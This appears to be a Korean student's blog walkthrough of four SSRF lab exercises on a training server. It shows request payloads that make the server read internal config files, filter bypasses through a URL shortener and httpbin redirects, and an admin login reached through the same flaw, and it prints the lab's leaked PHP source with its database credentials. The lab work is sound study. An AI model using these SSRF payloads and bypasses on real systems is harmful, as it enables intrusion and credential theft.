yon11b

[SK 쉴더스 루키즈] SSRF 실습문제 1~4번 본문

보안/SK 쉴더스 루키즈

[SK 쉴더스 루키즈] SSRF 실습문제 1~4번

yon11b 2026. 7. 1. 01:13
반응형

SSRF란?

CSRF는 클라이언트 기준 요청이라면, SSRF는 서버 내부에서 요청을 보내는 것!

 

 

1번

외부에서 접근이 불가능한 내부 웹 서버인 "http://eqst-ssrf-victim.com"에서 "/include/db_conf.php" 설정 파일이 있다는 정보를 확인하였다. 해당 내부 웹 서버에서 DB 계정의 비밀번호를 탈취하시오.

그냥 이거 새로고침해서 burp로 중간 요청 잡아서 보면 이렇게 생겼다.

 

 

서버가 요청을 보내는 것이기 때문에 forward로 하나씩 확인을 해봤을 때 중간 요청이 잡히지 않고 바로 요청한 것을 받은 것을 볼 수 있다.

 

POST /ssrf_1/noticelist.php HTTP/1.1
Host: lab.eqst.co.kr:8096

 

file=https%3A%2F%2Fpastebin.com%2Fraw%2FCiLWksMZ&read=%EA%B3%B5%EC%A7%80+%EC%97%85%EB%8D%B0%EC%9D%B4%ED%8A%B8

 

post 방식으로 file, read를 넘기고 있다.

 

우리는 http://eqst-ssrf-victim.com/include/db_conf.php 으로 요청을 보내야 한다.

그러므로 

 

file=http://eqst-ssrf-victim.com/include/db_conf.php&read=

 

이렇게 burp에서 수정해주고 URL 인코딩 해서 전송해주자.(*read에는 아무것도 안 넣어도 된다!)

 

그럼 db_conf.php 파일로 추정되는 코드가 뜬다.

 

you_~~ttack 이 정답이다.

 

2번

외부에서 접근이 불가능한 내부 웹 서버인 "http://eqst-ssrf-victim.com"에서 "/include/db_conf.php" 설정 파일이 있다는 정보를 확인하였다.
또한 관리자가 이전 공격에 대해 단단히 화가 나(ㄷㄷ) SSRF 공격에 대한 보안 대책을 세웠다고 한다.
해당 내부 웹 서버에서 DB 계정의 비밀번호를 탈취하시오.

 

똑같은 공지사항 페이지가 보인다.

 

이번에는 file=http://eqst-ssrf-victim.com/include/db_conf.php&read= 로 데이터를 담아서 요청을 보내도 "공지사항이 벗습니다. 새로고침 해주세요."가 뜬다.

해당 도메인이 필터링이 걸려있나보다.

 

우회방법1. URL shortner 사용

우회방법2. 외부 리다이렉트 서버 사용


우회방법1. URL shortener 사용 [링크]

URL 짧게 만들어주는 사이트이다.

http://eqst-ssrf-victim.com/include/db_conf.php 이걸 https://tinyurl.com/yxrekkd5로 바꿔서 전송해보자. 

 

서버는 tinyurl.com은 블랙리스트 필터링에 안 걸어놔서 통과시킨다.

 

 

성공!

 

우회방법2. 외부 리다이렉트 서버 사용

리다이렉트를 해주는 서비스가 있다. https://httbin.org/ 

 

httbin.org

We’re getting things ready Loading your experience… This won’t take long.

httbin.org

 

https://httpbin.org/redirect-to?status_code=302&url=http://eqst-ssrf-victim.com/include/db_conf.php

=> redirect-to 엔드포인트를 호출하면, httpbin이 302 Redirect 응답을 돌려준다.

=> url=... → 리다이렉트될 최종 목적지 URL을 지정한다.

 

브라우저나 서버 HTTP 클라이언트가 리다이렉트를 따라가면 최종적으로 http://eqst-ssrf-victim.com/include/db_conf.php 에 요청하게 된다.

 

httpbin 주요 기능

엔드포인트 설명 사용 예제 주 용도
/get GET 요청 정보 확인 https://httpbin.org/get?name=test Query Parameter 확인
/post POST 요청 정보 확인 POST <https://httpbin.org/post> Form, Body 확인
/anything 모든 HTTP 메서드 처리 https://httpbin.org/anything/test 요청 전체 확인
/headers 요청 헤더 출력 https://httpbin.org/headers Header 확인
/ip 요청한 클라이언트 IP 출력 https://httpbin.org/ip SSRF 출발 IP 확인
/user-agent User-Agent 출력 https://httpbin.org/user-agent UA 확인
/status/{code} 원하는 HTTP 상태코드 반환 https://httpbin.org/status/404 오류 처리 테스트
/redirect-to 지정한 URL로 리다이렉트 https://httpbin.org/redirect-to?status_code=302&url=https://example.com Redirect 테스트
/redirect/{n} n번 연속 리다이렉트 https://httpbin.org/redirect/3 Redirect 제한 확인
/delay/{sec} 지정 시간 후 응답 https://httpbin.org/delay/5 Timeout 테스트
/cookies 전달된 쿠키 출력 https://httpbin.org/cookies Cookie 확인
/cookies/set 쿠키 설정 https://httpbin.org/cookies/set?name=test Cookie 테스트
/basic-auth/{user}/{pass} Basic Authentication 테스트 https://httpbin.org/basic-auth/admin/1234 인증 테스트
/bearer Bearer Token 인증 테스트 https://httpbin.org/bearer JWT/Bearer 테스트
/response-headers 원하는 응답 헤더 생성 https://httpbin.org/response-headers?X-Test=hello Header 처리 테스트

 

요청 구문

 

https://httpbin.org/redirect-to?status_code=302&url=http://eqst-ssrf-victim.com/include/db_conf.php 을 URL인코딩한 것.

file=https%3A%2F%2Fhttpbin.org%2Fredirect-to%3Fstatus_code%3D302%26url%3Dhttp%253A%252F%252F%2565%2571%2573%2574%252D%2573%2573%2572%2566%252D%2576%2569%2563%2574%2569%256D%252E%2563%256F%256D%252Finclude%252Fdb_conf.php&read=

 

응답 결과

 

전체 코드

더보기
더보기
<?php

class db extends mysqli {
	
	private static $instance;
	private static $instance1;

	public static function getInstance($_db){

			if ($_db == ''){
				if( ! isset( self::$instance ) ){
				//self::$instance = new db( db_host , db_user , db_pass , db_db );				
				self::$instance = new db( "127.0.0.1" , "ssrf_user" , "admin_will_be_fired" , "skinfosec" );				
				}
				return self::$instance;
			}else{
				if( ! isset( self::$instance1 ) ){
				//self::$instance1 = new db( db_host , db_user , db_pass , $_db );							
				self::$instance1 = new db("127.0.0.1" , "ssrf_user" , "admin_will_be_fired" , "skinfosec" );				
				}
				return self::$instance1;
			}
		
	}

	public function __construct( $host , $user , $pass , $db ){
		$this->connect( $host , $user , $pass , $db );		
		$this->set_charset( 'utf8' );
	}

	public function __destruct() {
		$this->close();
	}

	public function selectS( $query ){

		$data = array();
		$result = $this->query( $query );

		if( $result != null ){
			while( $row = $result->fetch_object() ){
				$data[] = $row;
			}
		}

		if( count( $data ) == 0 ){
			return null;
		}else{
			return $data;
		}

	}

	public function insertS( $query ){
		$result = $this->query( $query );
		return $this->insert_id;
	}
    
	public function updateS( $query ){
		$result = $this->query( $query );
		return $this->affected_rows;
	}

	public function deleteS( $query ){
		$result = $this->query( $query );
		return $this->affected_rows;
	}

}


?>

 

3번

관리자 페이지에 접근하고 로그인하시오.

주석에 관리자페이지 주소가 나와있다.  http://eqst-ssrf-victim.com:8098/admin.php

 

이 주소를 input창에 넣어서 페이지 보기 버튼을 클릭해주면 관리자 페이지가 나온다.

그런데 이 3번 문제는 :8087 포트에서 작동해서 그런지 내가 원하는 :8098 포트에서 열리는 게 아니라 

https://도메인:8097/ssrf_3/urlviewer.php?url= http://eqst-ssrf-victim.com:8098/admin.php 이런식으로 쓰인다.

일단 관리자 페이지가 열리긴 했으니까 html을 보자. 여기에 admin계정의 ID, PW가 써져있다.

그리고 form은 GET 방식으로 보내는 것을 확인할 수 있다.

 

여기 관리자 페이지에서 adminID, adminPW를 넣고 로그인 버튼을 누르면? -> 안 된다.

이렇게 응답이 뜬다.

 

내가 입력한 adminID, adminPW가 :8098/admin.php의 GET요청으로 들어가는 것이 아니라 :8097/ssrf_3/admin.php의 GET 요청으로 들어가고 있었다.

이건 그냥 임시로 ad, ad를 입력해본거임

 

그래서 어차피 GET 방식이니까 :8098에 바로 id, pw 파라미터를 붙여서 다음과 같이 input창에 입력해주면 된다.

http://eqst-ssrf-victim.com:8098/admin.php?login_id=adminID&login_pwd=adminPW

 

그럼 여기로 리다이렉트 된다.

https://lab.eqst.co.kr:8097/ssrf_3/urlviewer.php?url=http://eqst-ssrf-victim.com:8098/admin.php?login_id=adminID&login_pwd=adminPW&read=페이지보기

4번

admin.php 페이지에 내부 DB 서버에 접속하는 DB 컨넥터 페이지가 존재한다는 정보를 확인하였다. 해당 DB 컨넥터를 이용해 내부 DB 서버에 접속하시오.

 

기본페이지: https://lab.eqst.co.kr:8099/ssrf_2/imageview.php

이 이미지는 base64 인코딩된 것으로 불러오고 있다.

 

일단 admin.php 페이지를 먼저 한 번 보자.

https://lab.eqst.co.kr:8099/ssrf_2/admin.php 으로 접속하면 admin_login.php로 자동 리다이렉트 된다.

.php 파일인데 개발자도구를 켜서 볼 수 있는 것은 HTML코드 뿐이다.

나는 php 파일 전체 내용을 보고 싶다!

 

admin.php 디코딩

imageview.php로 돌아가서 admin.php 를 입력해보자.

하면 이미지 아이콘이 뜨고 해당 <img src~~~가 뜬다. base64로 인코딩 되어있는 src 주소를 디코딩해주자.

<script>location.replace('admin_login.php');</script>

admin_login.php로 이동한다는 스크립트이다.

 

admin_login.php 디코딩

이번에는 imageview.php로 돌아가서 admin_login.php를 입력해보자. 똑같이 이미지 src가 있다.

base64로 인코딩 되어있는 src 주소를 디코딩해주자.

디코딩 결과(https://www.base64decode.org/ko/ 사이트 이용)

 

전체 코드

더보기
더보기
<?php header("Content-Type: text/html; charset=UTF-8");?>
<?php include_once "include/common/declare.php";?>
<?php include_once "../request_log_ssrf2.php";?>
<?php
	

$user =	nvl( $_GET['title'],'1');


?>
<!doctype html>
<html lang="ko" style="height:100%;">
	<head>
		<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
		<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />
		<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0" />
		<title>EQST 보안교육센터</title>
		<link rel="shortcut icon" href="favicon.ico">
		<link rel="stylesheet" href="../css/style.css" />
		<script type="text/javascript" src="../js/libs/jquery-1.11.3.min.js"></script>
		<script type="text/javascript" src="../js/libs/jquery-ui.js"></script>
		<script type="text/javascript" src="../js/libs/jquery.bxslider.min.js"></script>
		<script type="text/javascript" src="../js/libs/nice-select/nice-select.js"></script>
		<script type="text/javascript" src="../js/libs/dotdotdot/dotdotdot.js"></script>
		<script type="text/javascript" src="../js/libs/datepicker.js"></script>
		<!--<script type="text/javascript" src="./commons.js"></script>-->
		<link rel="stylesheet" href="../css/libs/jquery-ui.css" />
		<script type="text/javascript">
			$(function() {
				
				$.customFn = {
					
					boardReg : function(){
						$("#searchForm").submit();
					},
					
					sortingProcess : function(){
						$('#pageIndex').val('1');
						$("#searchForm").attr("action", "notice.php");
						$("#searchForm").submit();
					},
					
					searchProcess : function(){
						$('#pageIndex').val('1');
						if($("#startDt").val() != ""){
							if($("#endDt").val() == ""){
								alert("작성일을 입력해주세요.");
								return false;
							}
						}
						if($("#endDt").val() != ""){
							if($("#startDt").val() == ""){
								alert("작성일을 입력해주세요.");
								return false;
							}
						}
						$("#searchForm").submit();
					}
				
				};
				
				$(document).ready(function() {
					if($("#userName").val() == ''){
						alert("로그인이 필요합니다.");
						location.href = "/login.php"; 
						return;
					}
					var query  = '';
					if($("#keyword").val() != ''){
						query  = query + '&searchType='+$("#searchType").val()+'&keyword='+$("#keyword").val();
					}
					if($("#startDt").val() != ''){
						query  = query + '&startDt='+$("#startDt").val()+'&endDt='+$("#endDt").val();
					}
					if($("#sorting").val() != ''){
						query  = query + '&sorting='+$("#sorting").val();
					}
					
				});
				
				btnReg = $("#btnReg");
				
				btnSearch = $("#btnSearch");
				
				sortingTitle = $("#sortingTitle");
				
				sortingRegUserNm = $("#sortingRegUserNm");
				
				sortingRegDt = $("#sortingRegDt");

				sortingTitle2 = $("#sortingTitle2");
				
				sortingRegUserNm2 = $("#sortingRegUserNm2");
				
				sortingRegDt2 = $("#sortingRegDt2");
				
				//게시물 등록
				btnReg.click(function(e) {
					e.preventDefault();
					$.customFn.boardReg();
				});
				/*
				//search 버튼 클릭시
				btnSearch.click(function(e){
					e.preventDefault();
					$.customFn.searchProcess();
				});
				*/
				
				sortingTitle.click(function(e){
					e.preventDefault();
					$('#sorting').val('title');
					$("#sotingAd").val("ASC");
					/*if ($("#sotingAd").val() == "" ){
						$("#sotingAd").val("ASC");
					}else if ($("#sotingAd").val() == "DESC" ) {
						$("#sotingAd").val("ASC");
					}else{
						$("#sotingAd").val("DESC");
					}*/
					$.customFn.sortingProcess();
				});

				sortingTitle2.click(function(e){
					e.preventDefault();
					$('#sorting').val('title');
					$("#sotingAd").val("DESC");
					$.customFn.sortingProcess();
				});
				
				sortingRegUserNm.click(function(e){
					e.preventDefault();
					$('#sorting').val('regUserNm');
					$("#sotingAd").val("ASC");
					/*if ($("#sotingAd").val() == "" ){
						$("#sotingAd").val("ASC");
					}else if ($("#sotingAd").val() == "DESC" ) {
						$("#sotingAd").val("ASC");
					}else{
						$("#sotingAd").val("DESC");
					}*/
					$.customFn.sortingProcess();
				});

				sortingRegUserNm2.click(function(e){
					e.preventDefault();
					$('#sorting').val('regUserNm');
					$("#sotingAd").val("DESC");
					$.customFn.sortingProcess();
				});
				
				sortingRegDt.click(function(e){
					e.preventDefault();
					$('#sorting').val('REG_DT');
					$("#sotingAd").val("ASC");
					/*if ($("#sotingAd").val() == "" ){
						$("#sotingAd").val("ASC");
					}else if ($("#sotingAd").val() == "DESC" ) {
						$("#sotingAd").val("ASC");
					}else{
						$("#sotingAd").val("DESC");
					}*/
					$.customFn.sortingProcess();
				});

				sortingRegDt2.click(function(e){
					e.preventDefault();
					$('#sorting').val('REG_DT');
					$("#sotingAd").val("DESC");
					$.customFn.sortingProcess();
				});
				
			});
			function search(){
				
				if (window.event.keyCode == 13) {
					$.customFn.searchProcess();
				}
				
			}
			function goView(ol){
				document.searchForm.board_id.value=ol;
				document.searchForm.action = "noticeview.php";
				document.searchForm.method = "GET";
				document.searchForm.submit();
			}
		</script>
    </head>
    <body class="set_size">
        <!--[s] header -->
		<?php include_once('./include/header.php') ?>
        <!--[e] header -->

        <!--[s] main-container-->
        <div class="main-container" id="main-container">
            <script type="text/javascript">
                try{ace.settings.check('main-container' , 'fixed')}catch(e){}
            </script>

            
            <!--[s] main-content-->
            <div class="main-content">
                <div class="main-content-inner">
                    <div class="page-content">
                        <div class="page-header">
                            <h1>
                                <i class="ace-icon fa fa-ellipsis-v orange"></i>
                               관리자 페이지(비공개)
                            </h1><br>
							<span id="search_word"></span>	
                        </div>
                                    
                        <div class="hr10"></div>

								<form name="LoginFm" id="LoginFm" method="POST" >
								<input type="hidden" name="returnurl" id="returnurl" value="" >
								<!--[s] wrap_login-->
								<div class="wrap_login" >
									<ul class="box_login"> 
										<li class="tit"> 관리자 페이지</li>
										<li><input type="text" name="login_id" value="" tabindex="1" id="login_id"  placeholder="아이디" class="userID" /></li>
										<li><input type="password"  name="login_pwd" value="" tabindex="2" id="login_pwd" placeholder="패스워드" class="userPW" /></li>
										<li class="line_btn">
											<input class="btn_login" type=submit name=okdk value="로그인">
										</li>
									</ul>
								</div>
								<!--[e] wrap_login-->
								</form>

<?php
if(isset($_POST['okdk']))
{
	$id=trim($_POST['login_id']);
	$pw=trim($_POST['login_pwd']);
	if($id === "adminuser" && $pw === "adminpassword")
	{
		$_SESSION['ADMIN_YN'] = "Y";
		echo("<script>location.replace('admin.php');</script>"); 
	}
	else
	{
		echo "<br><br>아이디/패스워드가 일치하지 않습니다.";
	}
} 
?>

	<script>
	
	$('#keyword').on('keyup', function(e) {
		e.preventDefault();

		//var ov = '검색 결과 : ' + $('#keyword').val();
		//$('#search_word').html(ov);
		
		var queryString = $("form[name=searchForm]").serialize() ;
 
        $.ajax({
            type : 'post',
            url : './noticeHTML.php',
            data : queryString,
            dataType : 'html',
            error: function(xhr, status, error){
                alert(error);
            },
            success : function(dataov){
				$('tbody').html(dataov);
            },
        });

		
	});

	</script>
                                <!--[s] wrap_pagenation -->
                                <div class="box_table_bottom">
                                    <div class="pull-center">
                                        <!--[s] pagenation -->
                                        <ul class="pagination">
											<?php
											   pagingType2( $rowsCntArr["tCnt"] , $pageIndex , 10 , $pageSize , $_SERVER[PHP_SELF] , '');
											?>
                                        </ul>
                                    <!--[e] pagenation -->
                                </div>
                            </div>
                            <!--[s] wrap_pagenation -->
                        
                            </div><!-- [e] col-xs-12-->
                        </div><!--[e] row-->
                    </div><!-- /.page-content -->
                </div>
            </div><!-- /.main-content -->
            
        

        </div><!-- /.main-container -->


	</body>
</html>

 

 

1. admin 계정 찾음(위 결과 중 일부 발췌)

<?php
if(isset($_POST['okdk']))
{
	$id=trim($_POST['login_id']);
	$pw=trim($_POST['login_pwd']);
	if($id === "adminuser" && $pw === "adminpassword")
	{
		$_SESSION['ADMIN_YN'] = "Y";
		echo("<script>location.replace('admin.php');</script>"); 
	}
	else
	{
		echo "<br><br>아이디/패스워드가 일치하지 않습니다.";
	}
} 
?>

 

id, pw가 적혀있다.

id가 adminuser이고 pw가 adminpassword일 때 SESSION['ADMIN_YN']='Y'가 되고 admin.php로 이동한다.

 

확인해보자. 관리자페이지로 가서 id, pw를 입력해주면 admin.php로 잘 이동한다.

이제 DB 계정 정보를 찾아야 한다.

 

 

2. include된 다른 php 파일들 찾음

아까 admin_login.php 디코딩 결과 맨 처음에 이런 코드가 있었다.

<?php header("Content-Type: text/html; charset=UTF-8");?>
<?php include_once "include/common/declare.php";?>
<?php include_once "../request_log_ssrf2.php";?>

 

또 다른 php 파일들을 불러오는 것이다. 이번에는 이 php 파일을 imageviewer.php를 통해서 불러와보자.


주의할 점: 이 php 파일들은 그냥 불러와지는게 아니라 이 서버 안에서만 불러올 수 있는 파일들이다.

 

include/common/declare.php 디코딩

PD9w~~~를 디코딩하는 것이다.

<?php
	include_once "include/common/property.php";
	include_once "include/common/class.db.php";
	include_once "include/common/common.function.php";
?>

 

include/common/property.php 디코딩

더보기
더보기
<?php

	session_start();
	ob_start();

	session_cache_limiter('private'); 
	ini_set("session.cookie_lifetime", 0);
	ini_set("session.cache_expire", 60);  
	ini_set("session.gc_maxlifetime", 60);

	/* Site Config*/
	define( "SITE" , "eliterising" );

	define( "DOMAIN_SITE" , "http://skinfosec.solamt.com" );
	define( "DOMAIN_EMAIL" , "http://skinfosec.solamt.com" );
	define( "ADDR_EMAIL" , "webmaster@skinfosec.solamt.com" );

	define( "PATH_UPLOAD" , "D:\program files\AutoSet10\public_html\uploads" );
	//define( "PATH_DOWNLOAD" , "C:/AutoSet10/public_html/download" );
	//define( "PATH_UPLOAD" , $_SERVER["DOCUMENT_ROOT"] . "/uploads" );
	define( "PATH_DOWNLOAD" , $_SERVER["DOCUMENT_ROOT"] . "" );
	define( "ROOT_PATH" , $_SERVER["DOCUMENT_ROOT"] );

	/* DB Info */
	/*
	define( 'db_host' , 'localhost' ); 
	define( 'db_user' , 'wpartner' );
	define( 'db_pass' , 'wpartner' ); 
	define( 'db_db' , 'emergency' );
	*/
	/* RealDB	*/
	
	define( "db_host" , "127.0.0.1" ); 
	define( "db_user" , "skinfosec" );
	define( "db_pass" , "skinfosec" ); 
	define( "db_db" , "skinfosec" );

	/*      */
	define( 'ALLOW_IMG_EXT' , 'jpg,png,jpeg,gif,JPG,PNG,JPEG,GIF,bmp,BMP,doc,docx,ppt,pptx,xls,xlsx,pdf,zip' ); 
	define( 'ALLOW_FILE_EXT' , 'jpg,png,jpeg,gif,JPG,PNG,JPEG,GIF,bmp,BMP,doc,docx,ppt,pptx,xls,xlsx,pdf,zip,csv' ); 
	$FILE_SIZE		= 20*1024 * 1024;

	/* Global Var */

	//$S_USER_ID		= $_SESSION["LOGIN_ID"]; //   
	//$S_USER_NM		= $_SESSION["USER_NM"]; //   


	/* Client IP */
	$USER_IP			= $_SERVER[ 'REMOTE_ADDR' ];
	$HTTP_REFERER	= $_SERVER[ 'HTTP_REFERER' ];
	$USER_AGENT		= $_SERVER['HTTP_USER_AGENT'];


	//   
	$MOBILE_AGENT = '/(iPod|iPhone|Android|BlackBerry|SymbianOS|SCH-M\d+|Opera Mini|Windows CE|Nokia|SonyEricsson|webOS|PalmOS)/';

	//  
	$SITE_NM			= "Eqst";
	$SITE_ROOT		= "/";
	$ADMIN_ROOT		= "/admin";
	$WEB_ROOT		= "/";
	$UPLOAD_ROOT	= "/upload";
	$DESIGN_ROOT	= "/";
	//Domain  .
	$Domain				= "http://skinfosec.solamt.com";
	
?>

 

include/common/class.db.php

db_user: ssrf_user

db_pass: ssrf12#$

<?php
class db extends mysqli {
	
	private static $instance;
	private static $instance1;

	public static function getInstance($_db, $_db_user, $_db_pass){

			if( ! isset( self::$instance ) ){
				//self::$instance = new db( db_host , db_user , db_pass , db_db );
				// op db [host: mariadb, ID:ssrf_user, PW:ssrf12#$]
				self::$instance = new db( "mariadb" , $_db_user, $_db_pass, "skinfosec" );				
			}
			return self::$instance;
		
	}
	
	public static function getAutoInstance($_db){

			if ($_db == ''){
				if( ! isset( self::$instance ) ){
				//self::$instance = new db( db_host , db_user , db_pass , db_db );				
				self::$instance = new db( "mariadb" , "ssrf_user" , "ssrf12#$" , "skinfosec" );				
				}
				return self::$instance;
			}else{
				if( ! isset( self::$instance1 ) ){
				//self::$instance1 = new db( db_host , db_user , db_pass , $_db );							
				self::$instance1 = new db("mariadb" , "ssrf_user" , "ssrf12#$" , "skinfosec" );
				}
				return self::$instance1;
			}
		
	}

	public function __construct( $host , $user , $pass , $db ){
		$this->connect( $host , $user , $pass , $db );		
		$this->set_charset( 'utf8' );
	}

	public function __destruct() {
		$this->close();
	}

	public function selectS( $query ){

		$data = array();
		$result = $this->query( $query );

		if( $result != null ){
			while( $row = $result->fetch_object() ){
				$data[] = $row;
			}
		}

		if( count( $data ) == 0 ){
			return null;
		}else{
			return $data;
		}

	}

	public function insertS( $query ){
		$result = $this->query( $query );
		return $this->insert_id;
	}
    
	public function updateS( $query ){
		$result = $this->query( $query );
		return $this->affected_rows;
	}

	public function deleteS( $query ){
		$result = $this->query( $query );
		return $this->affected_rows;
	}

	public function getanswer(){
        $returnArr = array();
        $seqCnt = "select answer_column from ssrf_answer";		
        $returnArr = $this->selectS($seqCnt);
        return $returnArr[0]->answer_column;
	}
}
?>

 

 

 

Q. 왜 property.php에 있는 계정 정보로는 안 되고 class.db.php에 있는 DB 계정 정보로만 되나?

 

class.db.php 안에서 원래 property.php 값을 쓰던 코드는 주석 처리되어 있다

//self::$instance = new db( db_host , db_user , db_pass , db_db );
 

즉 실제 동작은:

property.php 값 → 현재 로그인 로직에서 안 씀
class.db.php의 mariadb / ssrf_user / ssrf12#$ → 실제로 씀

그래서 skinfosec / skinfosec로는 안 되고, ssrf_user / ssrf12#$로 되는 거다.

728x90